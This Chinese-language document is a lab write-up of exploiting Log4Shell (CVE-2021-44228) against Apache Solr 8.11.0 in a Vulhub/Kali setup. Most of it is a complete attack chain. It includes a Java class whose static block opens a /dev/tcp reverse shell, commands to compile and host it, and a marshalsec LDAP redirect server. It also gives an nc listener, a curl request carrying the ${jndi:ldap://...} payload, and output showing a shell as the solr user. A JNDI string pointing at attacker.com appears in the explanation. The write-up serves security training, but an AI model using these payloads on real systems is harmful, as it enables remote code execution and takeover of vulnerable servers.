漏洞基本信息

项目 内容
漏洞名称 Apache Log4j2 远程代码执行 (Log4Shell)
CVE 编号 CVE-2021-44228
危险等级 Critical (10.0)
测试环境 Kali Linux (Vulhub / Apache Solr 8.11.0)
攻击机 IP 192.168.89.130 (以实际为准)

漏洞深度原理

Log4j2 的 Lookup 功能允许在日志中解析变量。当攻击者传入 ${jndi:ldap://attacker.com/Exploit} 时:

  1. Log4j2 解析 JNDI 协议,触发对远程 LDAP 服务器的请求。
  2. LDAP 服务 返回一个 Java 引用对象,指向攻击者托管的 .class 文件。
  3. 目标服务器 下载并实例化该恶意类,触发其中的 static 代码块,从而执行任意命令(如反弹 Shell)。

渗透测试过程 (Exploit)

技术亮点:本次实验摒弃了“一键利用工具”,完全采用手动编译和底层转发工具实现。

1. 编写恶意 Java 载荷 (Exploit.java)

在 Kali 桌面编写用于反弹 Shell 的 Java 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.lang.Runtime;

public class Exploit {
static {
try {
// 反弹 Shell 到攻击机 4444 端口
String[] cmd = {"/bin/bash", "-c", "exec 5<>/dev/tcp/192.168.89.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
}

2. 编译并托管载荷

安装 JDK 并编译代码,随后启动 Python Web 服务器:

1
2
3
4
# 编译
javac Exploit.java
# 托管 (Port: 8000)
python3 -m http.server 8000

3. 构建 LDAP 转发服务 (marshalsec)

利用 marshalsec 工具将目标的 LDAP 请求重定向至我们的 Web 服务器:

1
2
3
4
5
6
# 下载并使用 Maven 编译 marshalsec
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git)
cd marshalsec && mvn clean package -DskipTests

# 启动 LDAP 转发监听 (Port: 1389)
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "[http://192.168.89.130:8000/#Exploit](http://192.168.89.130:8000/#Exploit)" 1389

4. 开启监听与击发

在 Kali 新终端开启 nc 监听,并发送 Payload:

1
2
3
4
5
# 开启监听
nc -lvnp 4444

# 发送攻击指令
curl "[http://127.0.0.1:8983/solr/admin/cores?action=](http://127.0.0.1:8983/solr/admin/cores?action=)\${jndi:ldap://192.168.89.130:1389/Exploit}"

在 nc 窗口执行命令:

1
2
3
4
whoami
# 回显: solr
id
# 回显: uid=8983(solr) gid=8983(solr) groups=8983(solr)